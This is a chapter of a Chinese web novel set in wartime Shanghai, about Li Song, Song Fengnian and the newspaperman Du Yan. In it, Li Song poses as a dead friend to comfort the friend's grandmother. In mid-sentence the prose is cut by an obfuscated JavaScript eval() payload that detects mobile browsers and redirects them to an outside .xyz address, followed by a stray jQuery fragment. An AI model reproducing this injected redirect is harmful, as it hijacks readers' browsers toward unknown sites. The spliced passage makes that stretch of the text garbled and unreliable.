她话音落下，青年的身形一滞。
宋逢年像有些错愕。
伸手想拉她，黎颂轻哼了声，再度拂开他的手，重复了遍：“……我就不走。”
“想让我孤零零地，留在沪城报社，帮你朋友打工。做梦。”
她轻吸下鼻。
“你以前说过的……把我从尸堆里，捡回来的那天起，就没觉得，我是个麻烦。”
他听她使劲，翻着旧账。
有些哭笑不得。但看她走了，又回头。心底闪过一抹，寂寥而漫长的庆幸。
她还是回来了。
真好。
青年拿帕子，给她擦脸。
他垂下眼，乌黑发梢，挡住些眉眼。没让她瞧见，弯起的眼尾里，失而复得的高兴。
黎颂的目光，落在他口袋上。
“那里，到底是什么照片？”她语气似不经意。
他指尖顿了下。
想起里面是张合照。是那日，他单独留下的。不由挡回去：“没什么。”
“……不是很重要的照片。”
但很明显，于他而言极为珍视，放在距离心脏很近的地方。
黎颂再度抿唇，啪嗒一声，拍开他的手：“不给看，就算了。”
“还说只跟我，拍过合照。”她轻瞪他一眼，“骗子。”
好了，这下她看上去，更加生气了。
宋逢年轻摸鼻尖，抬眸。
想了下言辞，正打算如实告诉她。
街边刹车声传来，打断了他。熟悉的棕色轿车，停在了二人的面前。里边的杜言，探头说道。
“两位祖宗，绕了一大圈，可终于找到你们了。”
“这里暗流涌动，不方便久待。上车，我送你们去码头离开。”
二人坐上了他的车。
他瞅一眼车内，看到黎颂，眼圈泛着微红。她别过脸，不去看宋逢年。
旁边的青年，像不知所措。
总侧眸，反复在看她。眸色晦涩复杂，像有不能言说的阻碍，始终没开口。
“宋先生，宋少爷。”杜言在前视镜里，实在看不下去了，“你有什么话，就不能，直说吗？”
“你看你，把人家黎小姐，都弄哭了。”
杜言用谴责的眼神，望向他。
宋逢年：“……你少说两句。”
他解释了照片的事，然后呢。
难道再去道那日，在防空洞里，没来得及挑明的心意吗？
他不能。
这次带她回去，已是他最后一次私心。
青年轻闭着眼，没再尝试开口。
杜言翻了下眼，也无法再干涉更多。许久，他再度询问：“接下来往哪走，左转还是右转？”
宋逢年：“右转。”
黎颂：“左转。”
两道声音，几乎同时响起，又很快陷入沉默之中。杜言握着方向盘，算很有眼力见地，选择询问了黎颂。
“黎小姐，左转是去哪里？”
“一个朋友的家里，把帽子替她代还。”
她手上，还拿着那顶圆帽。
黎颂轻吸下鼻尖，神色恢复了正常。打算在离开前，去物归原主。
她凭着记忆，回忆了先前，江愿说过的地址，找到了她奶奶家，在处偏僻的梧桐巷里。
刚归还帽子那日，江愿同她提过。
“黎小姐，我弟弟死后，家里也没什么亲人了。我还有一个奶奶，她生病了，着实让我容易放心不下。”
她曾疑惑，为何即使会暴露，被跟踪上的风险，对方也要执意回家。
在见到江愿奶奶时，终于有了答案。
老人满头银丝，目光微有些呆滞。
认不出，她是谁。仅凭那顶圆帽子，便把她错认成了江愿：“小愿。”
“你终于，回来了啊。”她说。
黎颂被拉住手，有些不知所措：“我……”
又听老人，带点委屈地问她：“你好几天，没来看奶奶了……是学堂太忙了吗？”
她低着头，最终没否认。
冒充了江愿，不敢直视对方，怕被瞧出端倪：“是，有些忙。学业太忙了。”
江愿和她奶奶，眉眼轮廓很像。
她仿佛在这瞬间，见到了，若能平安老去的对方，便是这副模样。
黎颂收紧指尖。
仿佛跟着，会被感染情绪，鼻尖轻轻一酸，“抱歉，奶奶……忘了回来看您。”
她学着江愿的口吻，代替对方说道。
老人眼神不复清明。
但听完，弯起干瘪的唇，笑道：“那你在学堂，好好的就行了，我就放心了。”
对方已辨认不出，真正的江愿。
拉着她手，絮叨了半天：“你说你弟弟，留在了宁城那边上学。也不知道，吃得好不好，穿得好不好。”
黎颂不敢同她直视。
怕眼神中，被洞察出什么端倪。她也弯唇，勉强道：“嗯，他也会好好的。”
“您放心。”
屋子里，还有另一个老妇，稍微年轻些。看上去，像是她的亲戚，在这里，平时照顾着对方。
对方知晓，她不是真的江愿。
直到老人在藤椅上，絮叨着，睡着了。
对方才过来，把黎颂拉到一边，询问：“这位小姐。”
“我们家小愿……是不是，已经不在了？”
对方抬手，小心地接过帽子。轻擦里边，渗进干涸的血迹。
“那丫头，走之前。说几天内，要是回不来，就是给她弟弟去报仇了。”
“让我，和她奶奶说，她去外地求学了。”
黎颂沉默了许久。
回答了她的提问：“……是。”江愿确实不在了。
她回眸去看，藤椅上阖着眼的老人。
对方轻嘘了声：“别吵她，让老人家，多睡上一会儿吧。”
“这位小姐，能不能再麻烦。你走之前，再假装小愿，陪她说说话？”
黎颂点头：“好。”
她接过蒲扇，学着昔日的江愿。
很轻地摇，摇过秋日的风。风不大，渐起着，掀过树上的银杏叶，也拂过老人的满头银丝。
对方睁了下眼。
眯着老花眼，打量她：“对了，小愿。你再给奶奶说说，你在学堂的事吧。”
她轻嗯了声。
握着蒲扇，摇啊摇。能回忆起的片段，其实并不多：“我有几个室友。她们很热心，遇到危险时，会拉着我跑。”
“我在学堂里，还参加过诗社，非常了不起……”
银杏叶落下来，弯起的叶柄，像她第一次，见到江愿时，对方安静怯生的眼。
黎颂慢慢想着，说着。
不远处的青年，倚在车边。
他见她，迟迟没出来。偏头，和杜言低声着，道了句再等等。
杜言也没意外。
探头，遥望着那一幕：“那顶帽子里，也藏着，很多故事啊。”
他看着，也能猜到几分，轻叹气：“这个时代，到处都有，不得已的阴阳两隔。”
“那你呢？”对方蓦地问他，“也要错过吗。”
宋逢年抬眼。
像不明白的轻笑：“我什么？”
“少装，你知道我在说什么。”杜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891431|176479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言抬下巴，“黎小姐啊。”
“我瞧着，她是个善良温和的姑娘。跟你，像是一路人。”
“她今日，在报社发现你不见时，很焦急。即使外面危险，也跑出来寻你了。”
杜言说着。
宋逢年散漫地应了声，他眼尾扬起，用眼睛在笑：“我知道。”
既然知道，为什么却退缩逃避呢？
杜言像是不解，用疑惑的眼神，望着他。
青年倚在车边。
他的衣角，也在风中轻动。侧眸专注着，在望远处，银杏树下的女孩。顿了顿，收回目光。
“杜言，若有一天。”他起了个，很突兀的话题，“你发现你的报社，注定会被敌人，一把火烧尽，什么都不留。”
“你会告诉……你护着的那群年轻人吗？”
杜言翻眼，轻声呸了两下：“你这举的什么例子，我呸，真不吉利。你这是在咒我呢。”
宋逢年：“抱歉。我是说，如果。”
“如果啊。”杜言望着天空，想了想，“那我还是，不会放弃我的报社的……在它被覆灭之前，要不留遗憾，把那些旧报纸全发了。”
“我才不告诉，报社那群年轻人。”
他笑两声：“我要偷偷地，自己一个人，去逞英雄。然后某日，他们发现，哇，前辈我那么厉害。”
“再用一生，来刻骨地缅怀我。”
杜言笑起来：“当然……我是在说笑的。”
他话音落下，旁边的宋逢年，也跟着笑起来：“你真是。多大的人，还这般幼稚。”
眼角带笑的青年，抬眼，又往银杏树下望着。收回目光，弯了下唇角。
最终，他不笑后，低声着道：“其实……我也是这么想的。”
“你说什么？”
他声音太低，杜言没听清。
宋逢年不在意：“没什么。又不是，说给你听的。”
“你这人，可真讨厌。”杜言懒得搭理他，“难怪，把人家黎小姐，方才惹哭了。”
“你就嘴硬吧。”
杜言说：“哪天，黎小姐真留在了沪城。被其它的坏男人，给瞧上了。我看你，往哪儿后悔去。”
宋逢年没接话。
他漆黑的眼，向来一半散漫，一半是消沉。旁人看不出，里面的深浅，和真正藏匿的情绪。
他不出言，没反驳。
只倚在车边，等着黎颂出来，像从前的很多次那样。
他静静地等着她。
黎颂在那小院里，待了一个下午。直到夕阳渐沉，江愿奶奶又聊得困了，她才起身离开。
“奶奶。”她轻唤对方一声，“我要去其它地方，求学了。以后几个月，或几年，可能不能再来看您了。”
“离开这里后，我仍会给您，常常寄信的。”她说道。
满头银丝的老人，轻应了声。
干瘪枯皱的手，轻拍了下她：“去吧，小愿。和你弟弟一样。”
“要学有所成，要一身硬骨……不愧对，咱们脚下的土地。”
黎颂回眸。
老人已经在藤椅上，阖着眼，像再度睡着了，睡在那银杏树下。
她缓缓起身，点头离开这里。踏出小院，不敢轻易去想，在最后，江愿奶奶的那句话。
是无意的。
还是有一瞬，恢复了清明。
“江愿啊。”她在心里说道，“下辈子，也记得要投胎，去和平、自由的未来。”
“陪你弟弟长大……也陪你奶奶，慢慢老去。”
她走着，轻踩过那些灿黄的叶子。
最后朝那里，招了下手，算作道别。